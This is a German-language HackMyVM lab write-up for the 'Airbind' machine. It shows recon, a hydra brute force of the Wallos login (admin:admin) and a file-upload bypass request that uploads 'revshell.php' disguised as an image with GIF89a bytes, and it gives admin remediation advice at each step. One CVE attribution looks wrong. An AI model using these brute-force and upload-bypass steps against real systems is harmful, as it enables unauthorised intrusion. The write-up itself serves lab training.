Airbind - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
curl
wfuzz
hydra
searchsploit
Burp Suite (implizit)
nc (netcat)
id
sudo
find
cat
netstat
ping6
ssh
ip
ifconfig

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt ist wieder die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Anfragen, um IP- und MAC-Adressen von Geräten im selben Netzwerksegment zu ermitteln.

Bewertung: `arp-scan` findet erfolgreich ein Zielsystem mit der IP-Adresse `192.168.2.106`. Die zugehörige MAC-Adresse `08:00:27:dc:2a:3b` gehört laut OUI-Lookup (PCS Systemtechnik GmbH) zu Oracle VirtualBox, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt. Dies ist die primäre IP für weitere Untersuchungen.

Empfehlung (Pentester): Die gefundene IP `192.168.2.106` als Ziel für detailliertere Scans (Nmap, Nikto etc.) verwenden. Die MAC-Adresse notieren, bestätigt die Virtualisierungsumgebung.
Empfehlung (Admin): Netzwerkmonitoring implementieren, um ARP-Scans zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.106	08:00:27:dc:2a:3b	PCS Systemtechnik GmbH

Analyse: Die lokale Hosts-Datei (`/etc/hosts`) wird mit dem Texteditor `vi` bearbeitet, um der gefundenen IP-Adresse `192.168.2.106` den Hostnamen `airbinds.hmv` zuzuordnen. Dies vereinfacht die Ansprache des Ziels in nachfolgenden Schritten, insbesondere bei Webanwendungen.

Bewertung: Eine Standardprozedur, um die lokale Namensauflösung für das Ziel sicherzustellen. Die auskommentierten Einträge für `animetronic.hmv` und `king.vln` deuten auf frühere Arbeiten an anderen Zielen hin.

Empfehlung (Pentester): Immer die Hosts-Datei pflegen, wenn mit festen IPs gearbeitet wird, um potenzielle Probleme mit virtuellen Hosts oder Zertifikaten zu vermeiden.
Empfehlung (Admin): Keine serverseitigen Maßnahmen gegen lokale Hosts-Datei-Manipulation möglich. Sicherstellen, dass Serverkonfigurationen, die auf Hostnamen basieren, korrekt und dokumentiert sind.

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	CCat


        #       192.168.2.104   animetronic.hmv  
        #       192.168.2.105   king.vln
                192.168.2.106   airbinds.hmv

Analyse: `nikto` wird eingesetzt, ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und interessanten Verzeichnissen sucht. `-h http://192.168.2.106` gibt das Ziel an.

Bewertung: Nikto liefert wertvolle erste Hinweise auf die Webanwendung und den Server: * Server: `Apache/2.4.57 (Ubuntu)`. * Fehlende Security Header: `X-Frame-Options` (Clickjacking-Schutz), `X-Content-Type-Options` (MIME-Sniffing-Schutz). * Cookie `PHPSESSID` ohne `HttpOnly`-Flag (anfällig für Diebstahl via XSS). * Root `/` leitet zu `login.php` weiter. * Verzeichnisauflistung (Directory Indexing) aktiv für `/scripts/`, `/db/`, `/includes/`, `/images/`, `/styles/`. Dies ist oft eine Informationsquelle. * Interne IP-Offenlegung (`127.0.1.1`) möglich (CVE-2000-0649). * `login.php` als Admin-Login identifiziert. * `.gitignore` und `.dockerignore` gefunden, die Aufschluss über die Projektstruktur geben können.

Empfehlung (Pentester): Die Verzeichnisse mit Directory Indexing durchsuchen, insbesondere `/db/` und `/includes/`. Die Dateien `.gitignore` und `.dockerignore` herunterladen und analysieren. Die fehlenden Security Header und das unsichere Cookie notieren. Die Login-Seite `login.php` genauer untersuchen.
Empfehlung (Admin): Fehlende Security Header implementieren (`X-Frame-Options: SAMEORIGIN` oder `DENY`, `X-Content-Type-Options: nosniff`). Cookies mit `HttpOnly`- und `Secure`-Flags versehen. Verzeichnisauflistung deaktivieren (`Options -Indexes` in Apache-Konfiguration). Interne IP-Offenlegung verhindern (Serverkonfiguration prüfen). `.gitignore` und `.dockerignore` sollten keine sensiblen Pfade enthalten und idealerweise nicht über das Web erreichbar sein.

┌──(root㉿CCat)-[~]
└─# nikto -h http://192.168.2.106
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.106
+ Target Hostname:    192.168.2.106
+ Target Port:        80
+ Start Time:         2024-08-07 22:34:06 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ Root page / redirects to: login.php
+ /scripts/: Directory indexing found.
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
+ /db/: Directory indexing found.
+ /db/: This might be interesting.
+ /includes/: Directory indexing found.
+ /includes/: This might be interesting.
+ /images/: Directory indexing found.
+ /styles/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ /.dockerignore: .dockerignore file found. It may be possible to grasp the directory structure and learn more about the site.
+ 8909 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2024-08-07 22:34:30 (GMT2) (24 seconds)

Analyse: Ein umfassender `nmap`-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu sammeln. * `-sC`: Führt Standard-Nmap-Skripte aus. * `-sS`: SYN-Scan (Stealth). * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-O`: OS-Erkennung (Teil von `-A`). * `-T5`: Sehr schnelles Timing (riskant). * `-p-`: Scannt alle TCP-Ports.

Bewertung: Der Scan liefert wichtige Ergebnisse: * **Port 22 (SSH):** Ist als `filtered` markiert. Das bedeutet, Nmap konnte nicht eindeutig bestimmen, ob der Port offen oder geschlossen ist, da er keine Antwort erhielt oder die Pakete blockiert wurden (z.B. durch eine Firewall). * **Port 80 (HTTP):** Ist offen und läuft ein Apache 2.4.57 auf Ubuntu. Das `-sC`-Skript bestätigt das von Nikto gefundene unsichere PHPSESSID-Cookie (kein HttpOnly). Der Titel der Seite ist "Wallos - Subscription Tracker", und die Startseite ist `login.php`. * **OS-Erkennung:** Ist nicht eindeutig (`No exact OS matches`), schlägt aber verschiedene Linux-Versionen vor. * **MAC-Adresse:** Bestätigt VirtualBox. Der gefilterte SSH-Port ist eine wichtige Information.

Empfehlung (Pentester): Den Fokus auf den offenen Port 80 (HTTP) legen. Die Webanwendung "Wallos - Subscription Tracker" genauer untersuchen. Den gefilterten SSH-Port im Hinterkopf behalten – vielleicht ist er nur von bestimmten IPs erreichbar oder wird durch eine Firewall blockiert, die später umgangen werden kann.
Empfehlung (Admin): Firewall-Regeln überprüfen. Wenn SSH nicht benötigt wird, sollte der Port geschlossen sein. Wenn er benötigt wird, sicherstellen, dass die Firewall-Regeln korrekt sind und ihn nicht fälschlicherweise als `filtered` erscheinen lassen. Die Empfehlungen von Nikto bezüglich HTTP-Headern und Cookies umsetzen.

┌──(root㉿CCat)-[~]
└─# nmap -sC -sS -sV -AO -T5 192.168.2.106 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 22:33 CEST
Nmap scan report for airbind (192.168.2.106)
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.57 ((Ubuntu))
|_http-server-header: Apache/2.4.57 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Wallos - Subscription Tracker
|_Requested resource was login.php
MAC Address: 08:00:27:DC:2A:3B (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.8 (95%), Linux 5.0 - 5.5 (94%), Linksys EA3500 WAP (94%), Linux 3.16 (93%), Linux 2.6.18 - 2.6.32 (93%), Linux 5.0 - 5.4 (92%), Linux 4.4 (92%), Linux 5.4 (92%), Android 4.4.0 (92%), Linux 2.6.32 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.18 ms airbind (192.168.2.106)

┌──(root㉿CCat)-[~]
└─# nmap -sC -sS -sV -AO -T5 192.168.2.106 -p- | grep open
80/tcp open     http    Apache httpd 2.4.57 ((Ubuntu))

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden (Directory/File Brute-Forcing). * `dir`: Modus für Verzeichnissuche. * `-u "http://airbinds.hmv"`: Die Ziel-URL. * `-w "/usr/.../directory-list-2.3-medium.txt"`: Die Wortliste für Verzeichnisse/Dateien. * `-x ...`: Eine lange Liste von Dateiendungen, die zusätzlich zum Wort aus der Liste angehängt und getestet werden sollen. * `-b '503,404'`: Statuscodes, die ignoriert werden sollen (hier nicht relevant, da 404 Standard ist und 503 nicht auftritt). * `-e`: Erweiterter Modus, gibt die vollständige URL aus. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. bei Verbindungsproblemen). * `-k`: Ignoriert TLS/SSL-Zertifikatsfehler (hier nicht relevant für HTTP).

Bewertung: Gobuster findet mehrere interessante Pfade und Dateien: * Bestätigt die von Nikto gefundenen Verzeichnisse (`images`, `scripts`, `includes`, `db`, `styles`) und die `login.php`. * Findet weitere PHP-Dateien: `index.php` (leitet zu login.php weiter), `about.php`, `logos.php`, `stats.php`, `registration.php`, `logout.php`, `settings.php`, `auth.php`. Die meisten leiten unauthentifiziert zu `login.php` weiter. `logos.php` und `auth.php` geben Status 200 zurück. * Findet potenziell sensitive Dateien: `startup.sh`, `nginx.conf`, `manifest.json`. Diese könnten Konfigurationsdetails enthalten.

Empfehlung (Pentester): Die gefundenen Dateien `startup.sh`, `nginx.conf` und `manifest.json` herunterladen und analysieren. Die PHP-Seiten, die Status 200 zurückgeben (`logos.php`, `auth.php`, `login.php`), genauer auf Funktionalität und mögliche Schwachstellen untersuchen. Die Verzeichnisse mit Auflistung weiter durchsehen.
Empfehlung (Admin): Zugriff auf Konfigurationsdateien (`.conf`, `.sh`, `.json`) über den Webserver verhindern. Sicherstellen, dass nur notwendige Dateien und Verzeichnisse öffentlich zugänglich sind. Authentifizierung für alle sensiblen Seiten erzwingen.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://airbinds.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map -b '503,404' -e --no-error -k
==============================================================================================================================
http://airbinds.hmv/index.php            (Status: 302) [Size: 0] [--> login.php]
http://airbinds.hmv/.php                 (Status: 403) [Size: 277]
http://airbinds.hmv/.html                (Status: 403) [Size: 277]
http://airbinds.hmv/.phtml               (Status: 403) [Size: 277]
http://airbinds.hmv/images               (Status: 301) [Size: 313] [--> http://airbinds.hmv/images/]
http://airbinds.hmv/about.php            (Status: 302) [Size: 0] [--> login.php]
http://airbinds.hmv/login.php            (Status: 200) [Size: 1924]
http://airbinds.hmv/logos.php            (Status: 200) [Size: 1977]
http://airbinds.hmv/stats.php            (Status: 302) [Size: 0] [--> login.php]
http://airbinds.hmv/screenshots          (Status: 301) [Size: 318] [--> http://airbinds.hmv/screenshots/]
http://airbinds.hmv/scripts              (Status: 301) [Size: 314] [--> http://airbinds.hmv/scripts/]
http://airbinds.hmv/registration.php     (Status: 302) [Size: 0] [--> login.php]
http://airbinds.hmv/includes             (Status: 301) [Size: 315] [--> http://airbinds.hmv/includes/]
http://airbinds.hmv/db                   (Status: 301) [Size: 309] [--> http://airbinds.hmv/db/]
http://airbinds.hmv/logout.php           (Status: 302) [Size: 0] [--> .]
http://airbinds.hmv/styles               (Status: 301) [Size: 313] [--> http://airbinds.hmv/styles/]
http://airbinds.hmv/settings.php         (Status: 302) [Size: 0] [--> login.php]
http://airbinds.hmv/auth.php             (Status: 200) [Size: 0]
http://airbinds.hmv/startup.sh           (Status: 200) [Size: 1025]
http://airbinds.hmv/libs                 (Status: 301) [Size: 311] [--> http://airbinds.hmv/libs/]
http://airbinds.hmv/nginx.conf           (Status: 200) [Size: 1186]
http://airbinds.hmv/manifest.json        (Status: 200) [Size: 2569]
==============================================================================================================================

Analyse: Der Inhalt der von Gobuster gefundenen Datei `nginx.conf` wird mit `curl` heruntergeladen und angezeigt. `curl` ist ein Kommandozeilentool zum Übertragen von Daten mit URLs.

Bewertung: Die Nginx-Konfigurationsdatei ist sehr aufschlussreich: * Sie bestätigt, dass Nginx als Reverse-Proxy oder Webserver läuft (obwohl Nmap Apache meldete – vielleicht läuft Apache hinter Nginx, oder Nginx wird hier nur zur Konfiguration von PHP-FPM verwendet, während Apache der Hauptserver ist? Oder die `Server:`-Header ist irreführend). * Das Web-Root-Verzeichnis ist `/var/www/html`. * PHP-Dateien werden an einen FastCGI-Prozess auf `127.0.0.1:9000` (vermutlich PHP-FPM) weitergeleitet. * **Wichtig:** Es gibt eine `location`-Direktive, die den Zugriff auf Dateien mit der Endung `.db` explizit verbietet (`deny all; return 403;`).

Empfehlung (Pentester): Die Information über den blockierten Zugriff auf `.db`-Dateien ist wichtig. Dies erklärt, warum der direkte Zugriff auf eine potenzielle Datenbankdatei im `/db/`-Verzeichnis fehlschlagen würde. Die PHP-FPM-Konfiguration (`127.0.0.1:9000`) notieren – falls später eine SSRF-Schwachstelle gefunden wird, könnte dies ein internes Ziel sein.
Empfehlung (Admin): Gut, dass der direkte Zugriff auf `.db`-Dateien blockiert ist. Sicherstellen, dass auch andere sensitive Dateitypen (Logdateien, Backups, Konfigurationsdateien) angemessen geschützt sind.

┌──(root㉿CCat)-[~]
└─# curl http://airbinds.hmv/nginx.conf
user  nginx;
worker_processes  1;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /var/www/html;
            index  index.php;
        }

        location ~ \.php$ {
            root           /var/www/html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include        fastcgi_params;
        }

        location ~ \.db$ {
            deny all;
            return 403;
        }
    }

    include /etc/nginx/conf.d/*.conf;
}

Analyse: `wfuzz` wird verwendet, um nach virtuellen Hosts (Subdomains) zu suchen. * `-c`: Farbige Ausgabe. * `-w ...subdomains...txt`: Wortliste mit Subdomain-Namen. * `-u "http://airbinds.hmv"`: Basis-URL. * `-H "Host: FUZZ.airbinds.hmv"`: Setzt den HTTP-Host-Header. `FUZZ` wird durch die Wörter aus der Liste ersetzt. * `--hc "404"`: Versteckt Antworten mit Statuscode 404. * `--hh 0`: Versteckt Antworten mit 0 Zeichen (oft bei Weiterleitungen oder Fehlern).

Bewertung: Der Scan läuft durch die gesamte Wortliste (`114441` Anfragen), findet aber keine gültigen Subdomains, die eine andere Antwort als die Standardseite (oder eine versteckte Antwort) liefern (`Filtered Requests: 114437` - die Differenz sind wahrscheinlich Timeouts oder andere Fehler, keine gültigen Subdomains).

Empfehlung (Pentester): Die Suche nach Subdomains war hier nicht erfolgreich. Andere Methoden wie DNS-Zone-Transfers (falls ein DNS-Server gefunden wird), passive DNS-Recherche (Online-Tools) oder die Analyse von TLS-Zertifikaten (falls HTTPS verfügbar wäre) könnten versucht werden. Vorerst auf die Hauptanwendung konzentrieren.
Empfehlung (Admin): Unnötige Subdomains oder Wildcard-DNS-Einträge vermeiden. DNS-Server sicher konfigurieren (Zone-Transfers nur an autorisierte Server erlauben).

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://airbinds.hmv" -H "Host: FUZZ.airbinds.hmv" --hc "404" --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://airbinds.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================
                    

Total time: 0
Processed Requests: 114441
Filtered Requests: 114437
Requests/sec.: 0

Analyse: Der Pentester besucht das Verzeichnis `/db/`, das zuvor als offen für Directory Indexing identifiziert wurde.

Bewertung: Wie von Nikto und Gobuster gemeldet, ist die Verzeichnisauflistung aktiv. Sie enthüllt eine Datei namens `wallos.db`. Aufgrund der Endung `.db` und des Namens der Anwendung ("Wallos") handelt es sich höchstwahrscheinlich um die SQLite-Datenbank der Anwendung. Obwohl die Nginx-Konfiguration den direkten Download von `.db`-Dateien blockiert, ist die Datei hier über die Verzeichnisauflistung sichtbar.

Empfehlung (Pentester): Auch wenn der direkte Download blockiert ist, ist die Existenz der Datei bestätigt. Versuchen, die Datenbank über andere Wege zu erhalten (z.B. Schwachstellen in der Anwendung, die LFI oder SQL-Injection ermöglichen könnten, oder falls später Dateisystemzugriff erlangt wird). Der Dateiname `wallos.db` sollte notiert werden.
Empfehlung (Admin): Verzeichnisauflistung für alle Verzeichnisse deaktivieren (`Options -Indexes`). Auch wenn der direkte Download blockiert ist, sollte die Existenz sensibler Dateien nicht preisgegeben werden.

http://airbinds.hmv/db/

Index of /db
=====================================================================
[ICO]	Name	Last modified	       Size	Description
=====================================================================
[ ] wallos.db	2024-05-21 15:07 	64K	 
=====================================================================
Apache/2.4.57 (Ubuntu) Server at airbinds.hmv Port 80

Analyse: Der Inhalt des von Gobuster gefundenen Skripts `startup.sh` wird mit `curl` heruntergeladen und angezeigt.

Bewertung: Dieses Skript ist extrem informativ: * Es startet `php-fpm` und `nginx`. * Es startet `crond` (Cron Daemon). * Es führt PHP-Skripte aus `/var/www/html/endpoints/cronjobs/` und `/var/www/html/endpoints/db/` aus, um die Datenbank zu erstellen (`createdatabase.php`), Migrationen durchzuführen (`migrate.php`) und Zahlungen/Wechselkurse zu aktualisieren (`updatenextpayment.php`, `updateexchange.php`). Diese Pfade und Skriptnamen sind wertvolle Informationen. * Es setzt Berechtigungen für `/var/www/html/db/` und `/var/www/html/images/uploads/logos` auf `755` und den Besitzer auf `www-data:www-data`. * Es endet mit `tail -f /dev/null`, um den Container (vermutlich Docker) am Laufen zu halten. Das Skript gibt Einblick in die Initialisierung und die internen Abläufe der Anwendung.

Empfehlung (Pentester): Die Pfade zu den Cronjob- und DB-Skripten notieren. Diese könnten Endpunkte sein, die direkt aufgerufen werden können oder Schwachstellen enthalten. Die Berechtigungsänderungen (insbesondere `755` für `/db/`) und der Besitz durch `www-data` sind relevant, falls Dateisystemzugriff erlangt wird. Das Skript bestätigt die Verwendung von PHP-FPM.
Empfehlung (Admin): Startup-Skripte sollten nicht öffentlich zugänglich sein. Sicherstellen, dass die Berechtigungen, die im Skript gesetzt werden, dem Prinzip der geringsten Rechte folgen. Cronjobs sicher implementieren und deren Endpunkte schützen.

┌──(root㉿CCat)-[~]
└─# curl -s http://airbinds.hmv/startup.sh
#!/bin/sh

echo "Startup script is running..." > /var/log/startup.log

# Start both PHP-FPM and Nginx
php-fpm & nginx -g 'daemon off;' & touch ~/startup.txt

# Start the cron daemon
crond

# Wait one second before running scripts
sleep 1

# Create database if it does not exist
/usr/local/bin/php /var/www/html/endpoints/cronjobs/createdatabase.php

# Perform any database migrations
/usr/local/bin/php /var/www/html/endpoints/db/migrate.php

# Change permissions on the database directory
chmod -R 755 /var/www/html/db/
chown -R www-data:www-data /var/www/html/db/

# Change permissions on the logos directory
chmod -R 755 /var/www/html/images/uploads/logos
chown -R www-data:www-data /var/www/html/images/uploads/logos

# Run updatenextpayment.php and wait for it to finish
/usr/local/bin/php /var/www/html/endpoints/cronjobs/updatenextpayment.php

# Run updateexchange.php
/usr/local/bin/php /var/www/html/endpoints/cronjobs/updateexchange.php

# Keep the container running indefinitely (this won't exit)
tail -f /dev/null

Initial Access & POC (RCE)

Analyse: `hydra`, ein Passwort-Cracking-Tool, wird verwendet, um einen Brute-Force-Angriff auf das Web-Login-Formular durchzuführen. * `-l admin`: Testet den Benutzernamen `admin`. * `-P /usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Wortliste für Passwörter. * `airbinds.hmv`: Das Zielsystem. * `http-post-form`: Das zu verwendende Hydra-Modul. * `"/login.php:username=^USER^&password=^PASS^:Login details are incorrect."`: Die Konfiguration für das Modul: * `/login.php`: Der Pfad zum Login-Formular. * `username=^USER^&password=^PASS^`: Die POST-Parameter, wobei `^USER^` und `^PASS^` Platzhalter sind. * `Login details are incorrect.`: Die Fehlermeldung, die bei einem falschen Login auf der Ergebnisseite erscheint.

Bewertung: Hydra ist sehr schnell erfolgreich! Es findet heraus, dass die Anmeldedaten `admin:admin` gültig sind. Dies ist ein sehr schwaches Passwort und ein kritischer Fund.

Empfehlung (Pentester): Sofort mit den gefundenen Anmeldedaten (`admin:admin`) im Webinterface (`http://airbinds.hmv/login.php`) anmelden und nach Schwachstellen suchen, insbesondere nach Dateiupload-Funktionen, Code-Ausführungsmöglichkeiten oder Möglichkeiten zur Eskalation.
Empfehlung (Admin): Niemals Standardpasswörter oder sehr schwache Passwörter wie `admin` verwenden! Starke, einzigartige Passwörter für alle Konten erzwingen. Account-Lockout-Mechanismen und Captchas implementieren, um Brute-Force-Angriffe auf Web-Logins zu erschweren.

┌──(root㉿CCat)-[~]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt airbinds.hmv http-post-form "/login.php:username=^USER^&password=^PASS^:Login details are incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-07 23:10:29
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344481 login tries (l:1/p:14344481), ~896531 tries per task
[DATA] attacking http-post-form://airbinds.hmv:80/login.php:username=^USER^&password=^PASS^:Login details are incorrect.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[80][http-post-form] host: airbinds.hmv   login: admin   password: admin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-07 23:10:41

Analyse: Der Pentester meldet sich mit `admin:admin` erfolgreich im Webinterface an und navigiert zur "About"-Seite (`/about.php`).

Bewertung: Die About-Seite bestätigt die verwendete Software und Version: `Wallos v1.11.0`. Diese Information ist entscheidend für die weitere Schwachstellensuche.

Empfehlung (Pentester): Die Version `Wallos v1.11.0` sofort mit Tools wie `searchsploit` oder Online-Datenbanken (CVE Details, Exploit-DB) auf bekannte Schwachstellen überprüfen.
Empfehlung (Admin): Software (CMS, Plugins etc.) immer aktuell halten, um bekannte Schwachstellen zu vermeiden.

login erfolgreich

http://airbinds.hmv/about.php

Informationen und Danksagungen

Wallos v1.11.0

Lizenz: GPLv3

Issues und Anfragen: GitHub

Der Autor: https://henrique.pt

Icons: https://www.streamlinehq.com/freebies/plump-flat-free

Zahlungsweisen Icons: https://www.figma.com/file/5IMW8JfoXfB5GRlPNdTyeg/Credit-Cards-and-Payment-Methods-Icons-(Community)

Chart.js: https://www.chartjs.org/

Analyse: `searchsploit`, ein Kommandozeilen-Tool zur Suche in der lokalen Exploit-DB-Datenbank, wird verwendet, um nach Exploits für "wallos" zu suchen.

Bewertung: Volltreffer! `searchsploit` findet einen Eintrag für `Wallos < 1.11.2 - File Upload RCE` (Remote Code Execution) mit dem Pfad `php/webapps/51924.txt`. Da die installierte Version 1.11.0 ist, ist die Anwendung anfällig für diese Schwachstelle.

Empfehlung (Pentester): Den Exploit-Code oder die Beschreibung aus `php/webapps/51924.txt` (oder direkt von Exploit-DB) holen und anwenden. Die Schwachstelle ermöglicht wahrscheinlich das Hochladen einer Webshell trotz Dateifiltern.
Empfehlung (Admin): Wallos dringend auf Version 1.11.2 oder höher aktualisieren, um die RCE-Schwachstelle zu schließen.

┌──(root㉿CCat)-[~]
└─# searchsploit wallos
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Wallos < 1.11.2 - File Upload RCE                           | php/webapps/51924.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Analyse: Dieser Abschnitt zeigt einen mit Burp Suite abgefangenen oder konstruierten HTTP-POST-Request, der versucht, die gefundene RCE-Schwachstelle auszunutzen. * Ziel: `/endpoints/subscription/add.php` (ein Endpunkt zum Hinzufügen von Abonnements). * `Content-Type: multipart/form-data`: Zeigt einen Dateiupload an. * Parameter `name`: `benhacker`. * Parameter `logo`: Hier wird die Schwachstelle ausgenutzt. * `filename="revshell.php"`: Der gewünschte Dateiname. * `Content-Type: image/jpeg`: Täuscht einen erlaubten Bild-Dateityp vor. * Der Dateiinhalt beginnt mit `GIF89a` (Magic Bytes für GIF), um einfache Inhaltsprüfungen zu umgehen, enthält dann aber PHP-Code (`` - aus dem Originaltext rekonstruiert, da unvollständig). Der Rest ist nicht sichtbar.

Bewertung: Dies ist ein klassischer Versuch, einen Dateiupload-Filter zu umgehen, indem Metadaten (Dateiname, Content-Type) manipuliert und Magic Bytes vor den eigentlichen Schadcode gestellt werden. Der Exploit für CVE-2018-19422 in Wallos nutzt wahrscheinlich genau diese Technik.

Empfehlung (Pentester): Den Request absenden und die Server-Antwort sowie das Dateisystem (im erwarteten Upload-Verzeichnis) überprüfen, um zu sehen, ob die Shell erfolgreich hochgeladen wurde und unter welchem Namen sie gespeichert wurde.
Empfehlung (Admin): Dateiuploads serverseitig robust validieren: Nicht nur Endung und Content-Type prüfen, sondern auch Magic Bytes und den tatsächlichen Inhalt analysieren (z.B. Bilder neu kodieren). Die Anwendung patchen (Wallos >= 1.11.2).

POST /endpoints/subscription/add.php HTTP/1.1
Host: airbinds.hmv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://airbinds.hmv/
Content-Type: multipart/form-data; boundary=---------------------------88534912824449446283484888002
Content-Length: 7251
Origin: http://airbinds.hmv
DNT: 1
Connection: keep-alive
Cookie: theme=light; PHPSESSID=f1o3u68q5j2g20bfqus5485iul; language=de; theme=light
X-Forwarded-For: 217.14.168.39
Sec-GPC: 1


-----------------------------88534912824449446283484888002
Content-Disposition: form-data; name="name"


benhacker
-----------------------------88534912824449446283484888002
Content-Disposition: form-data; name="logo"; filename="revshell.php"
Content-Type: image/jpeg


GIF89a




GIF89a



Analyse: Die HTTP-Antwort des Servers auf den Upload-Versuch.

Bewertung: Die Antwort ist ein `HTTP/1.1 200 OK` mit der JSON-Nachricht `{"status":"Success","message":"Abonnement erfolgreich hinzugef\u00fcgt"}`. Dies deutet darauf hin, dass die Anwendung den Upload akzeptiert hat, ohne die Umgehungstechnik zu erkennen!

Empfehlung (Pentester): Erfolg! Nun muss der Speicherort der hochgeladenen Datei gefunden werden. Basierend auf dem `startup.sh`-Skript und üblichen Pfaden ist `/var/www/html/images/uploads/logos/` ein wahrscheinlicher Kandidat. Den Namen der Datei herausfinden (oft wird er vom Server geändert).
Empfehlung (Admin): Siehe vorherige Empfehlung: Patching und robuste Upload-Validierung sind dringend erforderlich.

HTTP/1.1 200 OK
Date: Wed, 07 Aug 2024 21:34:38 GMT
Server: Apache/2.4.57 (Ubuntu)
Set-Cookie: theme=light; expires=Fri, 06 Sep 2024 21:34:38 GMT; Max-Age=2592000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 72
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"status":"Success","message":"Abonnement erfolgreich hinzugef\u00fcgt"}

Analyse: Der Pentester durchsucht das vermutete Upload-Verzeichnis `/images/uploads/logos/` über den Browser.

Bewertung: Die Verzeichnisauflistung ist auch hier aktiv und bestätigt den Fund! Eine Datei namens `1723066478-benhacker.php` wurde gefunden. Der Name besteht aus einem Zeitstempel (`1723066478`), dem im Formular angegebenen Namen (`benhacker`) und der ursprünglichen Endung `.php`. Die Anwendung hat die Endung nicht geändert, was die Ausführung der Shell ermöglicht.

